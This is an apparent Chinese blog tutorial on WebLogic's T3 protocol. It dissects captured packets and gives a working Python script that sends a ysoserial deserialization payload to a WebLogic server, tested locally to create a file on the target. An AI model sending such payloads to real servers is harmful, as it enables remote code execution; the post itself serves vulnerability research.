前言

前段时间总结了weblogic历年来的rce漏洞,并编写了poc,这些漏洞中有好几个都要用到T3协议来发送序列化数据,所以需要用python来模拟实现t3协议,当然t3协议脚本,github上就可以找到,虽然用别人的脚本改一下也可以完成数据的发送,但是我还是很好奇这个t3协议到底怎么构造的,怎么发送数据的,他的协议格式是什么样的,于是再一番查阅资料过后,有了这篇文章。

这是正题

废话不多说,先丢一份参考资料,当中关于如何模拟t3协议数据包讲的很详细,我这里只是实操一下

http://drops.xmd5.com/static/drops/web-13470.html

为了直观,我先用wireshark抓一个t3通信的数据包,并以ascii方式显示


红色内容为我们发给weblogic的数据,蓝色为weblogic返回的数据

第一段红色数据相当于一个握手包,发给weblogic,然后webligc回复,这一段包很好构造,直接发送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n就行,重点是第二个包的构造,我们在wireshark中以hex模式查看数据流,如下


在继续之前,我们需要知道java反序列化数据都有一个特征数字:ac ed ,ac ed后面跟版本号(也就是上面的 00 05), 这个我们也可以通过实验证明:

import java.io.*;public class Ser {public static void main(String[] args) throws IOException {File file = new File("test.txt");FileOutputStream out = new FileOutputStream(file);ObjectOutputStream obj = new ObjectOutputStream(out);obj.writeObject((new Test1("axin", 18)));}
}class Test1 implements Serializable {String name;int age;Test1(String name, int age){this.name = name;this.age = age;}public void show(){System.out.println("年龄:"+age+",姓名:"+name);}
}

上面是一小段java序列化的demo, 大概功能就是序列化Test1的对象并写入test.txt文件中,运行程序,我们可以看到工程目录下生成了test.txt文件,我们用一个可以以16进制展示文件的工具打开test.txt,我linux环境下用的xxd(使用方法:xxd 文件名),可以看到文件内容如下:

可以看到,这个序列化后的对象,开头几个数字也是aced0005。所以根据抓包结果,我一共在其中找到了五个aced,也就是说它t3协议发送了五个序列化后的对象,这和参考文章中所说的六个有所出入(以下是参考文章中的图片,借用一下)

虽然上图中的数据包和我所抓到的数据包有所出入,但是并不影响我们的分析,由上图可以看到以aced开头的有六部分,还有第一部分是一些额外的数据(直接拷贝就行),这个第一部分的前四个字节,也就是上图中的00 00 06 af是整个数据包的大小,单位是字节,所以这一点是我们在模拟t3协议需要特别关注的。

然后按照参考文章中所说,构造数据包一般来讲有两种方式,

  • 替换aced开头的六个部分中的任意一个

  • 直接将包含数据包长度的第一部分和我们的恶意序列化数据进行拼接(也就是用一个恶意序列化数据替换掉常规包中所有aced开头的序列化数据)

注:图片都来自参考文章

然后在参考别人写的t3协议脚本的时候还注意到一个细节,那就是如果采用第一种替换方式,那么你还需要在你的恶意序列化数据的结尾加上fe010000,不知道为什么每个序列化数据都是用这几个字节隔开的,你可以通过上面的数据包截图观察到这一点。

但是如果你采用第二种方式构造数据包的话,就不需要担心这个问题,直接拼接就ok了。下面是我采用的第二种方式实现的一个python 模拟t3协议发送数据的脚本

# -*- coding:utf-8 -*-import binascii
import socket
import timedef t3():hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'host = ('127.0.0.1', 7001)sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(15)sock.connect(host)sock.send(hello.encode('utf-8'))time.sleep(1)resp1 = sock.recv(1024)print(resp1)data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'with open('poc', 'rb') as f:a = binascii.b2a_hex(f.read()).decode('utf-8')print(a)data = data1 + adata = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)sock.send(binascii.a2b_hex(data))time.sleep(2)sock.send(binascii.a2b_hex(data))if __name__ == "__main__":t3()

其中poc文件存放着我利用ysoserial工具生成的一个payload,这个payload如果成功被有漏洞的weblogic反序列化的话就会在目标主机的/tmp目录下创建一个axin.txt文件,当执行该脚本后,我们去目标机上看一下:


成功创建,说明脚本没有问题

weblogic T3协议(附python脚本)相关推荐

  1. weblogic t3 协议利用与防御

    weblogic t3 协议利用与防御 原创 360-CERT [360CERT](javascript:void(0)

  2. 在自建的数据集上训练yolov3准备(二):树莓派自动采集图片,tensorflow_label_tool下载图片,yolo_mark标注与清洗数据(附python脚本)

    前言 上一篇文章写了如何在Google的open image v4上分类下载数据集并保存成yolo格式,这里接着写.为了确认标注没有问题,我们可以用yolo_mark来清洗一遍.而有时可能我们需要自己 ...

  3. 一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 本文内容共分六部分: 一.前言 二.Jdk7u21 的 PoC 分析 1.第一部分利用链分析 2.第二部分利用链分析 三.MarshalledObject分析 ...

  4. 蠕虫病毒Worm: VBS/Jenxcus!lnk 解决方案 Python脚本

    表现:U盘里所有根目录文件夹/文件都变成了快捷方式. 传播方式:U盘.多发于打印店等无保护公共设备. 原因:文件夹/文件属性被设为隐藏的系统文件 Win+R //进入cmd E: //进入U盘 att ...

  5. 通过 T3 协议使用 WebLogic RMI

    http://edocs.weblogicfans.net/wls/docs92/rmi/rmi_t3.html 通过 T3 协议使用 WebLogic RMI 以下部分提供有关通过 T3 协议使用 ...

  6. python脚本转lua_初次使用Python脚本,proto协议文件转Lua代码

    使用IntelliJ IDEA编辑器编写Lua脚本的时候,安装一个插件 "EmmyLua" 可以对有代码提示功能 想把protoBuf协议文件转成Lua代码,然后给出代码提示 第一 ...

  7. 便携式三星mysql_三星集团某站点MySQL盲注一枚(附python验证脚本)

    漏洞概要 缺陷编号:WooYun-2014-082219 漏洞标题:三星集团某站点MySQL盲注一枚(附python验证脚本) 相关厂商:三星集团 漏洞作者:lijiejie 提交时间:2014-11 ...

  8. [RCTF2019]printer详解(python脚本、USB协议精解、TSLP2文档阅读)

    一个非常好的网站,可以学习USB协议: USB中文网 拿到文件发现是USB数据,第一反应用脚本提取: aaaaaaaaccccaahdgeeefefdgeegegeegcccbaabfefghifee ...

  9. 关于Tomcat调用Weblogic容器Ejb T3协议

    Tomcat调用Weblogic的T3协议!!! 简略介绍下二者: (一):概括介绍这两种服务器 WebLogic是美国bea公司出品的一个application server,确切的说是一个基于Ja ...

最新文章

  1. TensorFlow XLA加速编译器
  2. (转载)(官网)UE4--Character
  3. <软件过程与改进>计算大题考点总结与例题
  4. checkbox点击切换选中状态
  5. 浅谈管理软件开发类项目是怎么来的,怎么接到项目的,欢迎大家补充
  6. 切片分析报告格式_疫情舆情分析研判报告怎么撰写?2020舆情报告格式
  7. C# mciSendString()实现循环播放音乐
  8. 单片机c语言实验,单片机实验C语言编程.doc
  9. PHP学习记录第一篇:Ubuntu14.04下LAMP环境的搭建
  10. x86汇编-2(第五章)nasm汇编基础知识、指令、显存、bochs调试
  11. Java 中,类、类对象、泛型之间的转换
  12. 深度学习(二十二)——ESPCN, FSRCNN, VESPCN, SRGAN, DemosaicNet, MemNet, RDN, ShuffleSeg
  13. 超硬核!我统计了BAT笔试面试出现频率最高的五道题,学会了总能碰到一道
  14. ma5200g启用mpls l2***故障处理一则
  15. C/C++语言中Static的作用详述
  16. ORACLE忘记用户名密码
  17. pbs 写matlab作业,pbs提交作业.pdf
  18. 【Windows】谷歌浏览器独立多开
  19. HashSet的实现原理
  20. 使用matplotlib画3d平面风场_新篇章:12激光SLM金属3D打印机开卖,速度提升20倍,工业批量化生产新利器...

热门文章

  1. 求解三维空间中两向量之间的夹角
  2. 「CG原画插画教程」初学者如何练习人体动态结构?
  3. js实现天降字母打字小游戏
  4. 贝叶斯的路——概率论迷思
  5. C++中volatile变量测试
  6. 计算机辅助设计ca,《AutoCA计算机辅助设计》课程标准.doc
  7. nodejs websocket 实现简易聊天室功能
  8. vue-router.esm-bundler.js?6c02:1474 Uncaught TypeError: Cannot read property ‘forEach‘ of undefined
  9. 苹果快捷键怎么调出来_ps常用10大快捷键
  10. 华为鸿蒙手机什么时候出售,南财快评:鸿蒙出世,现在明白任正非为什么会说“宁可卖5G,也不会卖终端”了...